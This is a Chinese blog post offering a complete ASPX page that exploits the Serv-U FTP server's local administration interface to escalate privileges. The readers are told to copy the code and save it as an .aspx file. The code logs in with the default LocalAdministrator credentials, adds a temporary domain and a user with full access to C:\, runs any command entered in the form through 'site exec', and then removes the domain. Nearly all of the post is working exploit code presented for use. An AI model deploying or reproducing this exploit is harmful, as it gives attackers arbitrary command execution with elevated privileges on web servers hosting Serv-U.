ServU.aspx

最新推荐文章于 2020-12-31 09:12:26 发布

lake2

最新推荐文章于 2020-12-31 09:12:26 发布

阅读量8.2k

点赞数

分类专栏：技术文档文章标签： textbox string server asp exception object

本文链接：https://blog.csdn.net/lake2/article/details/626273

版权

技术文档专栏收录该内容

50 篇文章 0 订阅

订阅专栏

ServU的本地提权问题已经很老了，没啥说的，只是相继出现了PHP、Perl版本，当然不能少了aspx版本^_^

以下代码Copy，保存为一个aspx文件即可。

<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="System.Net.Sockets" %>
<script runat="server">

    '
    ' Love, Where are you ?

    Sub BTN_Start_Click(sender As Object, e As EventArgs)
        Dim Usr As String = Text_Name.Text
        Dim pwd As String = Text_PWD.Text
        Dim Port As Int32 = Text_Port.Text
        Dim Command As String = Text_cmd.Text

        Dim LoginUser As String = "User " & Usr & vbcrlf
        Dim LoginPass As String = "Pass " & pwd & vbcrlf
        Dim NewDomain As String = "-SETDOMAIN" & vbcrlf & "-Domain=cctv|0.0.0.0|43859|-1|1|0" & vbcrlf & "-TZOEnable=0" & vbcrlf & " TZOKey=" & vbcrlf
        Dim DelDomain As String = "-DELETEDOMAIN" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & " PortNo=43859" & vbcrlf
        Dim NewUser AS String = "-SETUSERSETUP" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=43859" & vbcrlf & "-User=lake" & vbcrlf & "-Password=admin123" & vbcrlf & _
                    "-HomeDir=c://" & vbcrlf & "-LoginMesFile=" & vbcrlf & "-Disable=0" & vbcrlf & "-RelPaths=1" & vbcrlf & _
                    "-NeedSecure=0" & vbcrlf & "-HideHidden=0" & vbcrlf & "-AlwaysAllowLogin=0" & vbcrlf & "-ChangePassword=0" & vbcrlf & _
                    "-QuotaEnable=0" & vbcrlf & "-MaxUsersLoginPerIP=-1" & vbcrlf & "-SpeedLimitUp=0" & vbcrlf & "-SpeedLimitDown=0" & vbcrlf & _
                    "-MaxNrUsers=-1" & vbcrlf & "-IdleTimeOut=600" & vbcrlf & "-SessionTimeOut=-1" & vbcrlf & "-Expire=0" & vbcrlf & "-RatioUp=1" & vbcrlf & _
                    "-RatioDown=1" & vbcrlf & "-RatiosCredit=0" & vbcrlf & "-QuotaCurrent=0" & vbcrlf & "-QuotaMaximum=0" & vbcrlf & _
                    "-Maintenance=System" & vbcrlf & "-PasswordType=Regular" & vbcrlf & "-Ratios=None" & vbcrlf & " Access=c://|RWAMELCDP" & vbcrlf
        Dim Quit As String = "QUIT" & vbcrlf
        Dim MAINTENANCE As String = "SITE MAINTENANCE" & vbcrlf

        'Dim client As New TcpClient
        Dim tcpClient As New TcpClient()
        Try
            tcpClient.Connect("127.0.0.1", port)
        Catch eee As Exception
            response.write(eee.ToString())
            response.end
        End Try
        tcpClient.ReceiveBufferSize = 1024
        Dim networkStream As NetworkStream = tcpClient.GetStream()
        Rec(networkStream)
        Send(networkStream, LoginUser)
        Rec(networkStream)
        Send(networkStream, LoginPass)
        Rec(networkStream)
        Send(networkStream, MAINTENANCE)
        Rec(networkStream)
        Send(networkStream, DelDomain)
        Rec(networkStream)
        Send(networkStream, NewDomain)
        Rec(networkStream)
        Send(networkStream, NewUser)
        Rec(networkStream)
               Dim tcpClient2 As New TcpClient()
               Try
                   tcpClient2.Connect("127.0.0.1", 43859)
               Catch eee As Exception
                   response.write(eee.ToString())
                   response.end
               End Try
               tcpClient2.ReceiveBufferSize = 1024
               Dim networkStream2 As NetworkStream = tcpClient2.GetStream()
               Rec(networkStream2)
               Send(networkStream2, "User lake" & vbcrlf)
               Rec(networkStream2)
               Send(networkStream2, "pass admin123" & vbcrlf)
               Rec(networkStream2)
               Send(networkStream2, "site exec " & Command & vbcrlf)
               Rec(networkStream2)
               tcpClient2.Close()
        Send(networkStream, DelDomain)
        Rec(networkStream)
        Send(networkStream, Quit)
        Rec(networkStream)
        tcpClient.Close()
    End Sub



    Sub Rec(o As Object)
       If o.CanRead Then
          Dim bytes(1024) As Byte
          o.Read(bytes, 0, 1024)
          Dim returndata As String = Encoding.ASCII.GetString(bytes)
          response.Write("out:" & returndata & "<br>")
       Else
          response.Write("What's wrong ?")
       End If
    End Sub

    Sub Send(o As Object,data As String)
       If o.CanWrite Then
          Dim sendBytes As [Byte]() = Encoding.ASCII.GetBytes(data)
          o.Write(sendBytes, 0, sendBytes.Length)
          response.write("in: " & data & "<br>")
       Else
          response.Write("What's wrong ?")
       End If
    End Sub

</script>
<html>
<head>
</head>
<body>
    <form runat="server">
        <p>
            <asp:Label id="Label1" runat="server" width="353px" forecolor="Blue">from Serv-U 2
            admin by lake2</asp:Label>
        </p>
        <p>
            <asp:Label id="Label2" runat="server" width="40px">Name</asp:Label>
            <asp:TextBox id="Text_Name" runat="server" Width="152px">LocalAdministrator</asp:TextBox>
            <br />
            <asp:Label id="Label3" runat="server" width="40px">PWD</asp:Label>
            <asp:TextBox id="Text_PWD" runat="server">#l@$ak#.lk;0@P</asp:TextBox>
            <br />
            <asp:Label id="Label4" runat="server" width="40px">Port</asp:Label>
            <asp:TextBox id="Text_Port" runat="server">43958</asp:TextBox>
            <br />
            <asp:Label id="Label5" runat="server" width="40px">cmd</asp:Label>
            <asp:TextBox id="Text_cmd" runat="server"></asp:TextBox>
        </p>
        <p>
            <asp:Button id="BTN_Start" οnclick="BTN_Start_Click" runat="server" Text="Start"></asp:Button>
        </p>
        <p>
            <hr />
            
        </p>
    </form>
</body>
</html>

lake2

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
19
评论
ServU.aspx

ServU的本地提权问题已经很老了，没啥说的，只是相继出现了PHP、Perl版本，当然不能少了aspx版本^_^以下代码Copy，保存为一个aspx文件即可。 Love, Where are you ? Sub BTN_Start_Cl
复制链接

扫一扫